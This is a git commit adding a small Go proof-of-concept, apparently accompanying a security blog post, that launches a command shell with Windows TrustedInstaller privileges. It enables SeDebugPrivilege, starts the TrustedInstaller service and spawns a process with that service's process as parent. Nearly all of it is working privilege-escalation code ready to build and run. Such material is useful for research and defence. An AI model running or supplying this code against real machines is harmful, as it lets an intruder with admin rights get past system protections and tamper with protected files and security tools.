Add TrustedInstaller POC

This commit is contained in:
Swapnil 2023-02-15 20:08:34 +05:30 committed by Swapnil
commit ad6540b29f
5 changed files with 221 additions and 0 deletions

11
README.md Normal file
View file

@ -0,0 +1,11 @@
# TrustedInstaller
A simple Proof of Concept in Golang to start a new shell as TrustedInstaller. This code accompanies FourCore's blog about TrustedInstaller. It is important to note that you need to run this as a user which has SeDebugPrivileges. Upon running, it will automatically ask for UAC in case you are not running as an Administrator.
Use the `RunAsTrustedInstaller` function to pass any executable to be run with TrustedInstaller privileges.
To run
1. git clone the repository
2. ensure you have go compiler installed
3. You can either build a binary using `go build ti` or run it directly using `go run ti`
It will spawn a new cmd shell as TrustedInstaller which you can check by running `whoami /all`

120
functions.go Normal file
View file

@ -0,0 +1,120 @@
package main
import (
"fmt"
"os"
"strings"
"syscall"
"unicode/utf16"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/svc/mgr"
)
func openService(mgrHandle windows.Handle, name string) (*mgr.Service, error) {
n, err := windows.UTF16PtrFromString(name)
if err != nil {
return nil, err
}
h, err := windows.OpenService(mgrHandle, n, windows.SERVICE_QUERY_STATUS|windows.SERVICE_START|windows.SERVICE_STOP|windows.SERVICE_USER_DEFINED_CONTROL)
if err != nil {
return nil, err
}
return &mgr.Service{Name: name, Handle: h}, nil
}
func enableSeDebugPrivilege() error {
var t windows.Token
if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_ALL_ACCESS, &t); err != nil {
return err
}
var luid windows.LUID
if err := windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(seDebugPrivilege), &luid); err != nil {
return fmt.Errorf("LookupPrivilegeValueW failed, error: %v", err)
}
ap := windows.Tokenprivileges{
PrivilegeCount: 1,
}
ap.Privileges[0].Luid = luid
ap.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED
if err := windows.AdjustTokenPrivileges(t, false, &ap, 0, nil, nil); err != nil {
return fmt.Errorf("AdjustTokenPrivileges failed, error: %v", err)
}
return nil
}
func parseProcessName(exeFile [windows.MAX_PATH]uint16) string {
for i, v := range exeFile {
if v <= 0 {
return string(utf16.Decode(exeFile[:i]))
}
}
return ""
}
func getTrustedInstallerPid() (uint32, error) {
snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, err
}
defer windows.CloseHandle(snapshot)
var procEntry windows.ProcessEntry32
procEntry.Size = uint32(unsafe.Sizeof(procEntry))
if err := windows.Process32First(snapshot, &procEntry); err != nil {
return 0, err
}
for {
if strings.EqualFold(parseProcessName(procEntry.ExeFile), tiExecutableName) {
return procEntry.ProcessID, nil
} else {
if err = windows.Process32Next(snapshot, &procEntry); err != nil {
if err == windows.ERROR_NO_MORE_FILES {
break
}
return 0, err
}
}
}
return 0, fmt.Errorf("cannot find %v in running process list", tiExecutableName)
}
func checkIfAdmin() bool {
f, err := os.Open("\\\\.\\PHYSICALDRIVE0")
if err != nil {
return false
}
f.Close()
return true
}
func elevate() error {
verb := "runas"
exe, _ := os.Executable()
cwd, _ := os.Getwd()
args := strings.Join(os.Args[1:], " ")
verbPtr, _ := syscall.UTF16PtrFromString(verb)
exePtr, _ := syscall.UTF16PtrFromString(exe)
cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
argPtr, _ := syscall.UTF16PtrFromString(args)
var showCmd int32 = 1 //SW_NORMAL
if err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd); err != nil {
return err
}
os.Exit(0)
return nil
}

5
go.mod Normal file
View file

@ -0,0 +1,5 @@
module ti
go 1.20
require golang.org/x/sys v0.5.0

2
go.sum Normal file
View file

@ -0,0 +1,2 @@
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=

83
main.go Normal file
View file

@ -0,0 +1,83 @@
package main
import (
"fmt"
"os/exec"
"syscall"
"golang.org/x/sys/windows/svc"
"golang.org/x/sys/windows/svc/mgr"
"golang.org/x/sys/windows"
)
const (
seDebugPrivilege = "SeDebugPrivilege"
tiServiceName = "TrustedInstaller"
tiExecutableName = "trustedinstaller.exe"
)
func RunAsTrustedInstaller(path string, args []string) error {
if !checkIfAdmin() {
if err := elevate(); err != nil {
return fmt.Errorf("cannot elevate Privs: %v", err)
}
}
if err := enableSeDebugPrivilege(); err != nil {
return fmt.Errorf("cannot enable %v: %v", seDebugPrivilege, err)
}
svcMgr, err := mgr.Connect()
if err != nil {
return fmt.Errorf("cannot connect to svc manager: %v", err)
}
s, err := openService(svcMgr.Handle, tiServiceName)
if err != nil {
return fmt.Errorf("cannot open ti service: %v", err)
}
status, err := s.Query()
if err != nil {
return fmt.Errorf("cannot query ti service: %v", err)
}
if status.State != svc.Running {
if err := s.Start(); err != nil {
return fmt.Errorf("cannot start ti service: %v", err)
} else {
defer s.Control(svc.Stop)
}
}
tiPid, err := getTrustedInstallerPid()
if err != nil {
return err
}
hand, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS|windows.PROCESS_DUP_HANDLE|windows.PROCESS_SET_INFORMATION, true, tiPid)
if err != nil {
return fmt.Errorf("cannot open ti process: %v", err)
}
cmd := exec.Command(path, args...)
cmd.SysProcAttr = &syscall.SysProcAttr{
CreationFlags: windows.CREATE_NEW_CONSOLE,
ParentProcess: syscall.Handle(hand),
}
err = cmd.Start()
if err != nil {
return fmt.Errorf("cannot start new process: %v", err)
}
fmt.Println("Started process with PID", cmd.Process.Pid)
return nil
}
func main() {
if err := RunAsTrustedInstaller("cmd.exe", []string{"/c", "start", "cmd.exe"}); err != nil {
panic(err)
}
}